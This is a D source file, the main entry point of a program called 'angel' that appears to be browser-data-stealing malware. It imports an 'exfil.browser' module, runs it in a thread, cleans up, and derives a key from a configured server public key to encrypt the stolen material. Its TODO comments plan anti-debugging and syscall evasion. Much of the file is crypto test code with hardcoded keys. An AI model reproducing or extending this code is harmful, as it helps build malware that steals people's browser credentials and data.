158 lines
4.5 KiB
D
158 lines
4.5 KiB
D
module angel.main;
|
|
|
|
// Internal imports
|
|
import angel.utils.logging;
|
|
import angel.utils.constants;
|
|
import angel.utils.clean;
|
|
import angel.exfil.browser.browser;
|
|
import angel.utils.init;
|
|
//import angel.utils.cryptography.threefish;
|
|
//import angel.utils.cryptography.aes;
|
|
import angel.utils.cryptography.serpent;
|
|
import angel.utils.cryptography.cryptography;
|
|
import angel.utils.cryptography.gcm.gcm;
|
|
import angel.utils.cryptography.aes;
|
|
import angel.utils.cryptography.threefish;
|
|
import angel.config : config;
|
|
//import angel.conn.vnc.vnc;
|
|
// External imports
|
|
import std.stdio;
|
|
import std.conv : to;
|
|
import core.thread.osthread;
|
|
import std.format;
|
|
|
|
// TODO optimize imports (only neccessary)
|
|
// TODO mutex check + execution timer
|
|
// TODO anti dbg
|
|
// TODO error handler ?? use auto, receive -> check for data, if none print result (err)
|
|
// TODO veh/vectored syscalls in suspended thread
|
|
|
|
alias ConstructorDelegate = void function();
|
|
|
|
int main() {
|
|
init();
|
|
|
|
Logger.log(LogLevel.Event, "Initialized.");
|
|
|
|
// can place args inside of browser init and define in this
|
|
ConstructorDelegate[] constructors = [
|
|
() => new Browser().run,
|
|
];
|
|
|
|
Thread[] threads;
|
|
|
|
foreach (co; constructors) {
|
|
auto t = new Thread(() => co());
|
|
threads ~= t;
|
|
Logger.log(LogLevel.Event, "Running thread...");
|
|
t.start();
|
|
continue;
|
|
}
|
|
|
|
foreach (t; threads) {
|
|
joinLowLevelThread(t.id);
|
|
}
|
|
|
|
clean();
|
|
|
|
Cryptography.KeyPair keypair = Cryptography.derive_25519(config.server_pk); // shared secret, encrypt master key (threefish512) with it
|
|
|
|
// TODO generate threefish512 key
|
|
// TODO serpent-256 encrypt the threefish key with shared secret
|
|
// TODO add pkcs5/7 padding for serpent, also port C implementation of galois 256bit to Dlang
|
|
|
|
// BUG fix padder, fills in the missing bytes of last encrypted/decrypted chunk with random placeholder chars
|
|
// BUG add correct template/tests aes, aead, galois -> follow struct evenly (same implementation)
|
|
// TODO might port some shitty C aes256 galois implementation
|
|
|
|
Serpent serp;
|
|
|
|
auto key = cast(ubyte[])keypair.sharedSecret.dup;
|
|
|
|
serp.start(key);
|
|
|
|
ubyte[] input = cast(ubyte[])"Hello, World! meow meow meow LOLOLOL hi!!!!!".dup;
|
|
ubyte padding = cast(ubyte)(16 - (input.length % 16));
|
|
ubyte[] output = new ubyte[input.length + padding];
|
|
serp.encrypt(input, output);
|
|
|
|
Logger.log(LogLevel.Debug, format("Serpent Encrypted data: %s", output));
|
|
|
|
ubyte[] decrypted = new ubyte[output.length];
|
|
|
|
serp.decrypt(output, decrypted);
|
|
|
|
Logger.log(LogLevel.Debug, format("Serpent Decrypted data: %s", decrypted));
|
|
|
|
serp.reset();
|
|
|
|
|
|
|
|
|
|
ubyte[32] key2;
|
|
ubyte[12] iv;
|
|
|
|
key2[] = cast(ubyte[])"12345678901234567890123456789012";
|
|
iv[] = cast(ubyte[])"123456789012";
|
|
|
|
AES aes = AES(key2);
|
|
|
|
GCM!AES gcm = GCM!AES(aes);
|
|
|
|
gcm.start(key2, iv);
|
|
ubyte[] encryptedData = new ubyte[input.length];
|
|
gcm.encrypt(input, encryptedData);
|
|
ubyte[16] tag;
|
|
gcm.finish(tag, encryptedData);
|
|
|
|
Logger.log(LogLevel.Debug, format("AES Encrypted data: %s", encryptedData));
|
|
|
|
GCM!AES gcmDecrypt = GCM!AES(aes);
|
|
gcmDecrypt.start(key2, iv);
|
|
ubyte[] decryptedData = new ubyte[encryptedData.length];
|
|
gcmDecrypt.decrypt(encryptedData, decryptedData);
|
|
ubyte[16] tagVerify;
|
|
gcmDecrypt.finish(tagVerify, decryptedData);
|
|
|
|
Logger.log(LogLevel.Debug, format("AES Decrypted data: %s", decryptedData));
|
|
|
|
|
|
|
|
auto kiii = Threefish512.generateKey();
|
|
auto tweaki = Threefish512.generateTweak();
|
|
|
|
Logger.log(LogLevel.Debug, format("Generated Key: %s", kiii));
|
|
Logger.log(LogLevel.Debug, format("Generated Tweak: %s", tweaki));
|
|
|
|
Threefish512 cipher = new Threefish512();
|
|
cipher.setup(kiii, tweaki);
|
|
string text = "meow!";
|
|
ulong[8] plain;
|
|
plain[] = 0;
|
|
|
|
foreach (i, c; text)
|
|
{
|
|
plain[i / 8] |= cast(ulong)c << ((i % 8) * 8);
|
|
}
|
|
|
|
auto encrypted_three = cipher.crypt(plain);
|
|
Logger.log(LogLevel.Debug, format("Threefish Encrypted: %s", encrypted_three));
|
|
|
|
auto decrypted_three = cipher.decrypt(encrypted_three);
|
|
Logger.log(LogLevel.Debug, format("Threefish Decrypted ulong array: %s", decrypted_three));
|
|
|
|
char[] decrypted_text;
|
|
foreach (ulong val; decrypted_three) {
|
|
for (int i = 0; i < 8; i++) {
|
|
char c = cast(char)((val >> (i * 8)) & 0xFF);
|
|
if (c != '\0') {
|
|
decrypted_text ~= c;
|
|
}
|
|
}
|
|
}
|
|
|
|
Logger.log(LogLevel.Debug, format("Threefish Decrypted Text: %s", decrypted_text));
|
|
|
|
|
|
return 0;
|
|
} |